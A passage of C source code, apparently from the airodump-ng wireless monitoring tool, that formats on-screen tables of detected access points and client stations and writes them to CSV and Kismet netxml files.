snprintf(strbuf+columns_ap+G.maxsize_essid_seen-5, 15,"%s"," MANUFACTURER"); } strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); memset( strbuf, ' ', ws_col - 1 ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); ap_cur = G.ap_end; if(G.selection_ap) { num_ap = get_ap_list_count(); if(G.selected_ap > num_ap) G.selected_ap = num_ap; } if(G.selection_sta) { num_sta = get_sta_list_count(); if(G.selected_sta > num_sta) G.selected_sta = num_sta; } num_ap = 0; if(G.selection_ap) { G.start_print_ap = G.selected_ap - ((ws_row-1) - nlines) + 1; if(G.start_print_ap < 1) G.start_print_ap = 1; // printf("%i\n", G.start_print_ap); } while( ap_cur != NULL ) { /* skip APs with only one packet, or those older than 2 min. * always skip if bssid == broadcast */ if( ap_cur->nb_pkt < 2 || time( NULL ) - ap_cur->tlast > G.berlin || memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 ) { ap_cur = ap_cur->prev; continue; } if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { ap_cur = ap_cur->prev; continue; } if(is_filtered_essid(ap_cur->essid)) { ap_cur = ap_cur->prev; continue; } num_ap++; if(num_ap < G.start_print_ap) { ap_cur = ap_cur->prev; continue; } nlines++; if( nlines > (ws_row-1) ) return; memset(strbuf, '\0', sizeof(strbuf)); snprintf( strbuf, sizeof(strbuf), " %02X:%02X:%02X:%02X:%02X:%02X", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5] ); len = strlen(strbuf); if(G.singlechan) { snprintf( strbuf+len, sizeof(strbuf)-len, " %3d %3d %8ld %8ld %4d", ap_cur->avg_power, ap_cur->rx_quality, ap_cur->nb_bcn, ap_cur->nb_data, ap_cur->nb_dataps ); } else { snprintf( strbuf+len, sizeof(strbuf)-len, " %3d %8ld %8ld %4d", ap_cur->avg_power, ap_cur->nb_bcn, ap_cur->nb_data, ap_cur->nb_dataps ); } len = strlen(strbuf); snprintf( strbuf+len, sizeof(strbuf)-len, " %3d %3d%c%c ", ap_cur->channel, ap_cur->max_speed, ( ap_cur->security & STD_QOS ) ? 'e' : ' ', ( ap_cur->preamble ) ? '.' : ' '); len = strlen(strbuf); if( (ap_cur->security & (STD_OPN|STD_WEP|STD_WPA|STD_WPA2)) == 0) snprintf( strbuf+len, sizeof(strbuf)-len, " " ); else if( ap_cur->security & STD_WPA2 ) snprintf( strbuf+len, sizeof(strbuf)-len, "WPA2" ); else if( ap_cur->security & STD_WPA ) snprintf( strbuf+len, sizeof(strbuf)-len, "WPA " ); else if( ap_cur->security & STD_WEP ) snprintf( strbuf+len, sizeof(strbuf)-len, "WEP " ); else if( ap_cur->security & STD_OPN ) snprintf( strbuf+len, sizeof(strbuf)-len, "OPN " ); strncat( strbuf, " ", sizeof(strbuf) - strlen(strbuf) - 1); len = strlen(strbuf); if( (ap_cur->security & (ENC_WEP|ENC_TKIP|ENC_WRAP|ENC_CCMP|ENC_WEP104|ENC_WEP40)) == 0 ) snprintf( strbuf+len, sizeof(strbuf)-len, " "); else if( ap_cur->security & ENC_CCMP ) snprintf( strbuf+len, sizeof(strbuf)-len, "CCMP "); else if( ap_cur->security & ENC_WRAP ) snprintf( strbuf+len, sizeof(strbuf)-len, "WRAP "); else if( ap_cur->security & ENC_TKIP ) snprintf( strbuf+len, sizeof(strbuf)-len, "TKIP "); else if( ap_cur->security & ENC_WEP104 ) snprintf( strbuf+len, sizeof(strbuf)-len, "WEP104 "); else if( ap_cur->security & ENC_WEP40 ) snprintf( strbuf+len, sizeof(strbuf)-len, "WEP40 "); else if( ap_cur->security & ENC_WEP ) snprintf( strbuf+len, sizeof(strbuf)-len, "WEP "); len = strlen(strbuf); if( (ap_cur->security & (AUTH_OPN|AUTH_PSK|AUTH_MGT)) == 0 ) snprintf( strbuf+len, sizeof(strbuf)-len, " "); else if( ap_cur->security & AUTH_MGT ) snprintf( strbuf+len, sizeof(strbuf)-len, "MGT"); else if( ap_cur->security & AUTH_PSK ) { if( ap_cur->security & STD_WEP ) snprintf( strbuf+len, sizeof(strbuf)-len, "SKA"); else snprintf( strbuf+len, sizeof(strbuf)-len, "PSK"); } else if( ap_cur->security & AUTH_OPN ) snprintf( strbuf+len, sizeof(strbuf)-len, "OPN"); len = strlen(strbuf); if (G.show_uptime) { snprintf(strbuf+len, sizeof(strbuf)-len, " %14s", parse_timestamp(ap_cur->timestamp)); len = strlen(strbuf); } strbuf[ws_col-1] = '\0'; if(G.selection_ap && ((num_ap) == G.selected_ap)) { if(G.mark_cur_ap) { if(ap_cur->marked == 0) { ap_cur->marked = 1; } else { ap_cur->marked_color++; if(ap_cur->marked_color > (TEXT_MAX_COLOR-1)) { ap_cur->marked_color = 1; ap_cur->marked = 0; } } G.mark_cur_ap = 0; } textstyle(TEXT_REVERSE); memcpy(G.selected_bssid, ap_cur->bssid, 6); } if(ap_cur->marked) { textcolor_fg(ap_cur->marked_color); } fprintf(stderr, "%s", strbuf); if( ws_col > (columns_ap - 4) ) { memset( strbuf, 0, sizeof( strbuf ) ); if(ap_cur->essid[0] != 0x00) { snprintf( strbuf, sizeof( strbuf ) - 1, "%s", ap_cur->essid ); } else { snprintf( strbuf, sizeof( strbuf ) - 1, "<length:%3d>%s", ap_cur->ssid_length, "\x00" ); } if (G.show_manufacturer) { if (G.maxsize_essid_seen <= strlen(strbuf)) G.maxsize_essid_seen = strlen(strbuf); else // write spaces (32) memset( strbuf+strlen(strbuf), 32, (G.maxsize_essid_seen - strlen(strbuf)) ); if (ap_cur->manuf == NULL) ap_cur->manuf = get_manufacturer(ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2]); snprintf( strbuf + G.maxsize_essid_seen , sizeof(strbuf)-G.maxsize_essid_seen, " %s", ap_cur->manuf ); } // write spaces (32) until the end of column memset( strbuf+strlen(strbuf), 32, ws_col - (columns_ap - 4 ) ); // end the string at the end of the column strbuf[ws_col - (columns_ap - 4)] = '\0'; fprintf( stderr, " %s", strbuf ); } fprintf( stderr, "\n" ); if( (G.selection_ap && ((num_ap) == G.selected_ap)) || (ap_cur->marked) ) { textstyle(TEXT_RESET); } ap_cur = ap_cur->prev; } /* print some informations about each detected station */ nlines += 3; if( nlines >= (ws_row-1) ) return; memset( strbuf, ' ', ws_col - 1 ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); } if(G.show_sta) { memcpy( strbuf, " BSSID STATION " " PWR Rate Lost Frames Probes", columns_sta ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); memset( strbuf, ' ', ws_col - 1 ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); ap_cur = G.ap_end; num_sta = 0; while( ap_cur != NULL ) { if( ap_cur->nb_pkt < 2 || time( NULL ) - ap_cur->tlast > G.berlin ) { ap_cur = ap_cur->prev; continue; } if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { ap_cur = ap_cur->prev; continue; } // Don't filter unassociated clients by ESSID if(memcmp(ap_cur->bssid, BROADCAST, 6) && is_filtered_essid(ap_cur->essid)) { ap_cur = ap_cur->prev; continue; } if( nlines >= (ws_row-1) ) return; st_cur = G.st_end; if(G.selection_ap && (memcmp(G.selected_bssid, ap_cur->bssid, 6)==0)) { textstyle(TEXT_REVERSE); } if(ap_cur->marked) { textcolor_fg(ap_cur->marked_color); } while( st_cur != NULL ) { if( st_cur->base != ap_cur || time( NULL ) - st_cur->tlast > G.berlin ) { st_cur = st_cur->prev; continue; } if( ! memcmp( ap_cur->bssid, BROADCAST, 6 ) && G.asso_client ) { st_cur = st_cur->prev; continue; } num_sta++; if(G.start_print_sta > num_sta) continue; nlines++; if( ws_row != 0 && nlines >= ws_row ) return; if( ! memcmp( ap_cur->bssid, BROADCAST, 6 ) ) fprintf( stderr, " (not associated) " ); else fprintf( stderr, " %02X:%02X:%02X:%02X:%02X:%02X", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5] ); fprintf( stderr, " %02X:%02X:%02X:%02X:%02X:%02X", st_cur->stmac[0], st_cur->stmac[1], st_cur->stmac[2], st_cur->stmac[3], st_cur->stmac[4], st_cur->stmac[5] ); fprintf( stderr, " %3d ", st_cur->power ); fprintf( stderr, " %2d", st_cur->rate_to/1000000 ); fprintf( stderr, "%c", (st_cur->qos_fr_ds) ? 'e' : ' '); fprintf( stderr, "-%2d", st_cur->rate_from/1000000); fprintf( stderr, "%c", (st_cur->qos_to_ds) ? 'e' : ' '); fprintf( stderr, " %4d", st_cur->missed ); fprintf( stderr, " %8ld", st_cur->nb_pkt ); if( ws_col > (columns_sta - 6) ) { memset( ssid_list, 0, sizeof( ssid_list ) ); for( i = 0, n = 0; i < NB_PRB; i++ ) { if( st_cur->probes[i][0] == '\0' ) continue; snprintf( ssid_list + n, sizeof( ssid_list ) - n - 1, "%c%s", ( i > 0 ) ? ',' : ' ', st_cur->probes[i] ); n += ( 1 + strlen( st_cur->probes[i] ) ); if( n >= (int) sizeof( ssid_list ) ) break; } memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "%-256s", ssid_list ); strbuf[ws_col - (columns_sta - 6)] = '\0'; fprintf( stderr, " %s", strbuf ); } fprintf( stderr, "\n" ); st_cur = st_cur->prev; } if( (G.selection_ap && (memcmp(G.selected_bssid, ap_cur->bssid, 6)==0)) || (ap_cur->marked) ) { textstyle(TEXT_RESET); } ap_cur = ap_cur->prev; } } if(G.show_ack) { /* print some informations about each unknown station */ nlines += 3; if( nlines >= (ws_row-1) ) return; memset( strbuf, ' ', ws_col - 1 ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); memcpy( strbuf, " MAC " " CH PWR ACK ACK/s CTS RTS_RX RTS_TX OTHER", columns_na ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); memset( strbuf, ' ', ws_col - 1 ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); na_cur = G.na_1st; while( na_cur != NULL ) { if( time( NULL ) - na_cur->tlast > 120 ) { na_cur = na_cur->next; continue; } if( nlines >= (ws_row-1) ) return; nlines++; if( ws_row != 0 && nlines >= ws_row ) return; fprintf( stderr, " %02X:%02X:%02X:%02X:%02X:%02X", na_cur->namac[0], na_cur->namac[1], na_cur->namac[2], na_cur->namac[3], na_cur->namac[4], na_cur->namac[5] ); fprintf( stderr, " %3d", na_cur->channel ); fprintf( stderr, " %3d", na_cur->power ); fprintf( stderr, " %6d", na_cur->ack ); fprintf( stderr, " %4d", na_cur->ackps ); fprintf( stderr, " %6d", na_cur->cts ); fprintf( stderr, " %6d", na_cur->rts_r ); fprintf( stderr, " %6d", na_cur->rts_t ); fprintf( stderr, " %6d", na_cur->other ); fprintf( stderr, "\n" ); na_cur = na_cur->next; } } } int dump_write_csv( void ) { int i, j, n; struct tm *ltime; char ssid_list[512]; struct AP_info *ap_cur; struct ST_info *st_cur; if (! G.record_data || !G.output_format_csv) return 0; fseek( G.f_txt, 0, SEEK_SET ); fprintf( G.f_txt, "\r\nBSSID, First time seen, Last time seen, channel, Speed, " "Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key\r\n" ); ap_cur = G.ap_1st; while( ap_cur != NULL ) { if( memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 ) { ap_cur = ap_cur->next; continue; } if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { ap_cur = ap_cur->next; continue; } if(is_filtered_essid(ap_cur->essid) || ap_cur->nb_pkt < 2) { ap_cur = ap_cur->next; continue; } fprintf( G.f_txt, "%02X:%02X:%02X:%02X:%02X:%02X, ", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5] ); ltime = localtime( &ap_cur->tinit ); fprintf( G.f_txt, "%04d-%02d-%02d %02d:%02d:%02d, ", 1900 + ltime->tm_year, 1 + ltime->tm_mon, ltime->tm_mday, ltime->tm_hour, ltime->tm_min, ltime->tm_sec ); ltime = localtime( &ap_cur->tlast ); fprintf( G.f_txt, "%04d-%02d-%02d %02d:%02d:%02d, ", 1900 + ltime->tm_year, 1 + ltime->tm_mon, ltime->tm_mday, ltime->tm_hour, ltime->tm_min, ltime->tm_sec ); fprintf( G.f_txt, "%2d, %3d, ", ap_cur->channel, ap_cur->max_speed ); if( (ap_cur->security & (STD_OPN|STD_WEP|STD_WPA|STD_WPA2)) == 0) fprintf( G.f_txt, " " ); else { if( ap_cur->security & STD_WPA2 ) fprintf( G.f_txt, "WPA2" ); if( ap_cur->security & STD_WPA ) fprintf( G.f_txt, "WPA " ); if( ap_cur->security & STD_WEP ) fprintf( G.f_txt, "WEP " ); if( ap_cur->security & STD_OPN ) fprintf( G.f_txt, "OPN " ); } fprintf( G.f_txt, ","); if( (ap_cur->security & (ENC_WEP|ENC_TKIP|ENC_WRAP|ENC_CCMP|ENC_WEP104|ENC_WEP40)) == 0 ) fprintf( G.f_txt, " "); else { if( ap_cur->security & ENC_CCMP ) fprintf( G.f_txt, " CCMP"); if( ap_cur->security & ENC_WRAP ) fprintf( G.f_txt, " WRAP"); if( ap_cur->security & ENC_TKIP ) fprintf( G.f_txt, " TKIP"); if( ap_cur->security & ENC_WEP104 ) fprintf( G.f_txt, " WEP104"); if( ap_cur->security & ENC_WEP40 ) fprintf( G.f_txt, " WEP40"); if( ap_cur->security & ENC_WEP ) fprintf( G.f_txt, " WEP"); } fprintf( G.f_txt, ","); if( (ap_cur->security & (AUTH_OPN|AUTH_PSK|AUTH_MGT)) == 0 ) fprintf( G.f_txt, " "); else { if( ap_cur->security & AUTH_MGT ) fprintf( G.f_txt, " MGT"); if( ap_cur->security & AUTH_PSK ) { if( ap_cur->security & STD_WEP ) fprintf( G.f_txt, "SKA"); else fprintf( G.f_txt, "PSK"); } if( ap_cur->security & AUTH_OPN ) fprintf( G.f_txt, " OPN"); } fprintf( G.f_txt, ", %3d, %8ld, %8ld, ", ap_cur->avg_power, ap_cur->nb_bcn, ap_cur->nb_data ); fprintf( G.f_txt, "%3d.%3d.%3d.%3d, ", ap_cur->lanip[0], ap_cur->lanip[1], ap_cur->lanip[2], ap_cur->lanip[3] ); fprintf( G.f_txt, "%3d, ", ap_cur->ssid_length); for(i=0; i<ap_cur->ssid_length; i++) { fprintf( G.f_txt, "%c", ap_cur->essid[i] ); } fprintf( G.f_txt, ", " ); if(ap_cur->key != NULL) { for(i=0; i<(int)strlen(ap_cur->key); i++) { fprintf( G.f_txt, "%02X", ap_cur->key[i]); if(i<(int)(strlen(ap_cur->key)-1)) fprintf( G.f_txt, ":"); } } fprintf( G.f_txt, "\r\n"); ap_cur = ap_cur->next; } fprintf( G.f_txt, "\r\nStation MAC, First time seen, Last time seen, " "Power, # packets, BSSID, Probed ESSIDs\r\n" ); st_cur = G.st_1st; while( st_cur != NULL ) { ap_cur = st_cur->base; if( ap_cur->nb_pkt < 2 ) { st_cur = st_cur->next; continue; } fprintf( G.f_txt, "%02X:%02X:%02X:%02X:%02X:%02X, ", st_cur->stmac[0], st_cur->stmac[1], st_cur->stmac[2], st_cur->stmac[3], st_cur->stmac[4], st_cur->stmac[5] ); ltime = localtime( &st_cur->tinit ); fprintf( G.f_txt, "%04d-%02d-%02d %02d:%02d:%02d, ", 1900 + ltime->tm_year, 1 + ltime->tm_mon, ltime->tm_mday, ltime->tm_hour, ltime->tm_min, ltime->tm_sec ); ltime = localtime( &st_cur->tlast ); fprintf( G.f_txt, "%04d-%02d-%02d %02d:%02d:%02d, ", 1900 + ltime->tm_year, 1 + ltime->tm_mon, ltime->tm_mday, ltime->tm_hour, ltime->tm_min, ltime->tm_sec ); fprintf( G.f_txt, "%3d, %8ld, ", st_cur->power, st_cur->nb_pkt ); if( ! memcmp( ap_cur->bssid, BROADCAST, 6 ) ) fprintf( G.f_txt, "(not associated) ," ); else fprintf( G.f_txt, "%02X:%02X:%02X:%02X:%02X:%02X,", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5] ); memset( ssid_list, 0, sizeof( ssid_list ) ); for( i = 0, n = 0; i < NB_PRB; i++ ) { if( st_cur->probes[i][0] == '\0' ) continue; snprintf( ssid_list + n, sizeof( ssid_list ) - n - 1, "%c", ( i > 0 ) ? ',' : ' ' ); for(j=0; j<st_cur->ssid_length[i]; j++) { snprintf( ssid_list + n + 1 + j, sizeof( ssid_list ) - n - 2 - j, "%c", st_cur->probes[i][j]); } n += ( 1 + st_cur->ssid_length[i] ); if( n >= (int) sizeof( ssid_list ) ) break; } fprintf( G.f_txt, "%s\r\n", ssid_list ); st_cur = st_cur->next; } fprintf( G.f_txt, "\r\n" ); fflush( G.f_txt ); return 0; } char * sanitize_xml(unsigned char * text, int length) { int i; size_t len; unsigned char * pos; char * newpos; char * newtext = NULL; if (text != NULL && length > 0) { len = 6 * length; newtext = (char *)calloc(1, (len + 1) * sizeof(char)); // Make sure we have enough space pos = text; for (i = 0; i < length; ++i, ++pos) { switch (*pos) { case '&': strncat(newtext, "&amp;", len); break; case '<': strncat(newtext, "&lt;", len); break; case '>': strncat(newtext, "&gt;", len); break; case '\'': strncat(newtext, "&apos;", len); break; case '"': strncat(newtext, "&quot;", len); break; default: if ( isprint((int)(*pos)) || (*pos)>127 ) { newtext[strlen(newtext)] = *pos; } else { newtext[strlen(newtext)] = '\\'; newpos = newtext + strlen(newtext); snprintf(newpos, strlen(newpos) + 1, "%3u", *pos); } break; } } newtext = (char *) realloc(newtext, strlen(newtext) + 1); } return newtext; } #define OUI_STR_SIZE 8 #define MANUF_SIZE 128 char *get_manufacturer(unsigned char mac0, unsigned char mac1, unsigned char mac2) { static char * oui_location = NULL; char oui[OUI_STR_SIZE + 1]; char *manuf; //char *buffer_manuf; char * manuf_str; struct oui *ptr; FILE *fp; char buffer[BUFSIZ]; char temp[OUI_STR_SIZE + 1]; unsigned char a[2]; unsigned char b[2]; unsigned char c[2]; int found = 0; if ((manuf = (char *)calloc(1, MANUF_SIZE * sizeof(char))) == NULL) { perror("calloc failed"); return NULL; } snprintf(oui, sizeof(oui), "%02X:%02X:%02X", mac0, mac1, mac2 ); if (G.manufList != NULL) { // Search in the list ptr = G.manufList; while (ptr != NULL) { found = ! strncasecmp(ptr->id, oui, OUI_STR_SIZE); if (found) { memcpy(manuf, ptr->manuf, MANUF_SIZE); break; } ptr = ptr->next; } } else { // If the file exist, then query it each time we need to get a manufacturer. if (oui_location == NULL) { fp = fopen(OUI_PATH0, "r"); if (fp == NULL) { fp = fopen(OUI_PATH1, "r"); if (fp == NULL) { fp = fopen(OUI_PATH2, "r"); if (fp != NULL) { oui_location = OUI_PATH2; } } else { oui_location = OUI_PATH1; } } else { oui_location = OUI_PATH0; } } else { fp = fopen(oui_location, "r"); } if (fp != NULL) { memset(buffer, 0x00, sizeof(buffer)); while (fgets(buffer, sizeof(buffer), fp) != NULL) { if (strstr(buffer, "(hex)") == NULL) { continue; } memset(a, 0x00, sizeof(a)); memset(b, 0x00, sizeof(b)); memset(c, 0x00, sizeof(c)); if (sscanf(buffer, "%2c-%2c-%2c", a, b, c) == 3) { snprintf(temp, sizeof(temp), "%c%c:%c%c:%c%c", a[0], a[1], b[0], b[1], c[0], c[1] ); found = !memcmp(temp, oui, strlen(oui)); if (found) { manuf_str = get_manufacturer_from_string(buffer); if (manuf_str != NULL) { snprintf(manuf, MANUF_SIZE, "%s", manuf_str); free(manuf_str); } break; } } memset(buffer, 0x00, sizeof(buffer)); } fclose(fp); } } // Not found, use "Unknown". if (!found || *manuf == '\0') { memcpy(manuf, "Unknown", 7); manuf[strlen(manuf)] = '\0'; } manuf = (char *)realloc(manuf, (strlen(manuf) + 1) * sizeof(char)); return manuf; } #undef OUI_STR_SIZE #undef MANUF_SIZE #define KISMET_NETXML_HEADER_BEGIN "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!DOCTYPE detection-run SYSTEM \"http://kismetwireless.net/kismet-3.1.0.dtd\">\n\n<detection-run kismet-version=\"airodump-ng-1.0\" start-time=\"" #define KISMET_NETXML_HEADER_END "\">\n\n" #define KISMET_NETXML_TRAILER "</detection-run>" #define TIME_STR_LENGTH 255 int dump_write_kismet_netxml( void ) { int network_number, average_power, client_nbr; int client_max_rate, unused; struct AP_info *ap_cur; struct ST_info *st_cur; char first_time[TIME_STR_LENGTH]; char last_time[TIME_STR_LENGTH]; char * manuf; char * essid = NULL; if (! G.record_data || !G.output_format_kismet_netxml) return 0; fseek( G.f_kis_xml, 0, SEEK_SET ); /* Header and airodump-ng start time */ fprintf( G.f_kis_xml, "%s%s%s", KISMET_NETXML_HEADER_BEGIN, G.airodump_start_time, KISMET_NETXML_HEADER_END ); ap_cur = G.ap_1st; network_number = 0; while( ap_cur != NULL ) { if( memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 ) { ap_cur = ap_cur->next; continue; } if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { ap_cur = ap_cur->next; continue; } if(is_filtered_essid(ap_cur->essid) || ap_cur->nb_pkt < 2 /* XXX: Maybe this last check should be removed */ ) { ap_cur = ap_cur->next; continue; } ++network_number; // Network Number strncpy(first_time, ctime(&ap_cur->tinit), TIME_STR_LENGTH - 1); first_time[strlen(first_time) - 1] = 0; // remove new line strncpy(last_time, ctime(&ap_cur->tlast), TIME_STR_LENGTH - 1); last_time[strlen(last_time) - 1] = 0; // remove new line fprintf(G.f_kis_xml, "\t<wireless-network number=\"%d\" type=\"infrastructure\" ", network_number); fprintf(G.f_kis_xml, "first-time=\"%s\" last-time=\"%s\">\n", first_time, last_time); fprintf(G.f_kis_xml, "\t\t<SSID first-time=\"%s\" last-time=\"%s\">\n", first_time, last_time); fprintf(G.f_kis_xml, "\t\t\t<type>Beacon</type>\n" ); fprintf(G.f_kis_xml, "\t\t\t<max-rate>%d.000000</max-rate>\n", ap_cur->max_speed ); fprintf(G.f_kis_xml, "\t\t\t<packets>%ld</packets>\n", ap_cur->nb_bcn ); fprintf(G.f_kis_xml, "\t\t\t<beaconrate>%d</beaconrate>\n", 10 ); fprintf(G.f_kis_xml, "\t\t\t<encryption>"); //Encryption if( (ap_cur->security & (STD_OPN|STD_WEP|STD_WPA|STD_WPA2)) != 0) { if( ap_cur->security & STD_WPA2 ) fprintf( G.f_kis_xml, "WPA2 " ); if( ap_cur->security & STD_WPA ) fprintf( G.f_kis_xml, "WPA " ); if( ap_cur->security & STD_WEP ) fprintf( G.f_kis_xml, "WEP " ); if( ap_cur->security & STD_OPN ) fprintf( G.f_kis_xml, "OPN " ); } if( (ap_cur->security & (ENC_WEP|ENC_TKIP|ENC_WRAP|ENC_CCMP|ENC_WEP104|ENC_WEP40)) != 0 ) { if( ap_cur->security & ENC_CCMP ) fprintf( G.f_kis_xml, "AES-CCM "); if( ap_cur->security & ENC_WRAP ) fprintf( G.f_kis_xml, "WRAP "); if( ap_cur->security & ENC_TKIP ) fprintf( G.f_kis_xml, "TKIP "); if( ap_cur->security & ENC_WEP104 ) fprintf( G.f_kis_xml, "WEP104 "); if( ap_cur->security & ENC_WEP40 ) fprintf( G.f_kis_xml, "WEP40 "); /* if( ap_cur->security & ENC_WEP ) fprintf( G.f_kis_xml, "WEP ");*/ } fprintf(G.f_kis_xml, "</encryption>\n"); /* ESSID */ fprintf(G.f_kis_xml, "\t\t\t<essid cloaked=\"%s\">", (ap_cur->essid[0] == 0) ? "true" : "false"); essid = sanitize_xml(ap_cur->essid, ap_cur->ssid_length); if (essid != NULL) { fprintf(G.f_kis_xml, "%s", essid); free(essid); } fprintf(G.f_kis_xml, "</essid>\n"); /* End of SSID tag */ fprintf(G.f_kis_xml, "\t\t</SSID>\n"); /* BSSID */ fprintf( G.f_kis_xml, "\t\t<BSSID>%02X:%02X:%02X:%02X:%02X:%02X</BSSID>\n", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5] ); /* Manufacturer, if set using standard oui list */ manuf = sanitize_xml((unsigned char *)ap_cur->manuf, strlen(ap_cur->manuf)); fprintf(G.f_kis_xml, "\t\t<manuf>%s</manuf>\n", (manuf != NULL) ? manuf : "Unknown"); free(manuf); /* Channel FIXME: Take G.freqoption in account */ fprintf(G.f_kis_xml, "\t\t<channel>%d</channel>\n", ap_cur->channel); /* Freq (in Mhz) and total number of packet on that frequency FIXME: Take G.freqoption in account */ fprintf(G.f_kis_xml, "\t\t<freqmhz>%d %ld</freqmhz>\n", getFrequencyFromChannel(ap_cur->channel), //ap_cur->nb_data + ap_cur->nb_bcn ); ap_cur->nb_pkt ); /* XXX: What about 5.5Mbit */ fprintf(G.f_kis_xml, "\t\t<maxseenrate>%d</maxseenrate>\n", ap_cur->max_speed * 1000); /* Packets */ fprintf(G.f_kis_xml, "\t\t<packets>\n" "\t\t\t<LLC>%ld</LLC>\n" "\t\t\t<data>%ld</data>\n" "\t\t\t<crypt>0</crypt>\n" "\t\t\t<total>%ld</total>\n" "\t\t\t<fragments>0</fragments>\n" "\t\t\t<retries>0</retries>\n" "\t\t</packets>\n", ap_cur->nb_bcn, ap_cur->nb_data, //ap_cur->nb_data + ap_cur->nb_bcn ); ap_cur->nb_pkt ); /* * XXX: What does that field mean? Is it the total size of data? * It seems that 'd' is appended at the end for clients, why? */ fprintf(G.f_kis_xml, "\t\t<datasize>0</datasize>\n"); /* Client information */ st_cur = G.st_1st; client_nbr = 0; while ( st_cur != NULL ) { /* If not associated or Broadcast Mac, try next one */ if ( st_cur->base == NULL || memcmp( st_cur->stmac, BROADCAST, 6 ) == 0 ) { st_cur = st_cur->next; continue; } /* Compare BSSID */ if ( memcmp( st_cur->base->bssid, ap_cur->bssid, 6 ) != 0 ) { st_cur = st_cur->next; continue; } ++client_nbr; strncpy(first_time, ctime(&st_cur->tinit), TIME_STR_LENGTH - 1); first_time[strlen(first_time) - 1] = 0; // remove new line strncpy(last_time, ctime(&st_cur->tlast), TIME_STR_LENGTH - 1); last_time[strlen(last_time) - 1] = 0; // remove new line fprintf(G.f_kis_xml, "\t\t<wireless-client number=\"%d\" " "type=\"established\" first-time=\"%s\"" " last-time=\"%s\">\n", client_nbr, first_time, last_time ); fprintf( G.f_kis_xml, "\t\t\t<client-mac>%02X:%02X:%02X:%02X:%02X:%02X</client-mac>\n", st_cur->stmac[0], st_cur->stmac[1], st_cur->stmac[2], st_cur->stmac[3], st_cur->stmac[4], st_cur->stmac[5] ); /* Manufacturer, if set using standard oui list */ fprintf(G.f_kis_xml, "\t\t\t<client-manuf>%s</client-manuf>\n", (st_cur->manuf != NULL) ? st_cur->manuf : "Unknown"); /* Channel FIXME: Take G.freqoption in account */ fprintf(G.f_kis_xml, "\t\t\t<channel>%d</channel>\n", ap_cur->channel); /* Rate: unaccurate because it's the latest rate seen */ client_max_rate = ( st_cur->rate_from > st_cur->rate_to ) ? st_cur->rate_from : st_cur->rate_to ; fprintf(G.f_kis_xml, "\t\t\t<maxseenrate>%.6f</maxseenrate>\n", client_max_rate / 1000000.0 ); /* Packets */ fprintf(G.f_kis_xml, "\t\t\t<packets>\n" "\t\t\t\t<LLC>0</LLC>\n" "\t\t\t\t<data>0</data>\n" "\t\t\t\t<crypt>0</crypt>\n" "\t\t\t\t<total>%ld</total>\n" "\t\t\t\t<fragments>0</fragments>\n" "\t\t\t\t<retries>0</retries>\n" "\t\t\t</packets>\n", st_cur->nb_pkt ); /* SNR information */ average_power = (st_cur->power == -1) ? 0 : st_cur->power; fprintf(G.f_kis_xml, "\t\t\t<snr-info>\n" "\t\t\t\t<last_signal_dbm>%d</last_signal_dbm>\n" "\t\t\t\t<last_noise_dbm>0</last_noise_dbm>\n" "\t\t\t\t<last_signal_rssi>%d</last_signal_rssi>\n" "\t\t\t\t<last_noise_rssi>0</last_noise_rssi>\n" "\t\t\t\t<min_signal_dbm>%d</min_signal_dbm>\n" "\t\t\t\t<min_noise_dbm>0</min_noise_dbm>\n" "\t\t\t\t<min_signal_rssi>1024</min_signal_rssi>\n" "\t\t\t\t<min_noise_rssi>1024</min_noise_rssi>\n" "\t\t\t\t<max_signal_dbm>%d</max_signal_dbm>\n" "\t\t\t\t<max_noise_dbm>0</max_noise_dbm>\n" "\t\t\t\t<max_signal_rssi>%d</max_signal_rssi>\n" "\t\t\t\t<max_noise_rssi>0</max_noise_rssi>\n" "\t\t\t</snr-info>\n", average_power, average_power, average_power, average_power, average_power ); /* GPS Coordinates XXX: We don't have GPS coordinates for clients */ if (G.usegpsd) { fprintf(G.f_kis_xml, "\t\t<gps-info>\n" "\t\t\t<min-lat>%.6f</min-lat>\n" "\t\t\t<min-lon>%.6f</min-lon>\n" "\t\t\t<min-alt>%.6f</min-alt>\n" "\t\t\t<min-spd>%.6f</min-spd>\n" "\t\t\t<max-lat>%.6f</max-lat>\n" "\t\t\t<max-lon>%.6f</max-lon>\n" "\t\t\t<max-alt>%.6f</max-alt>\n" "\t\t\t<max-spd>%.6f</max-spd>\n" "\t\t\t<peak-lat>%.6f</peak-lat>\n" "\t\t\t<peak-lon>%.6f</peak-lon>\n" "\t\t\t<peak-alt>%.6f</peak-alt>\n" 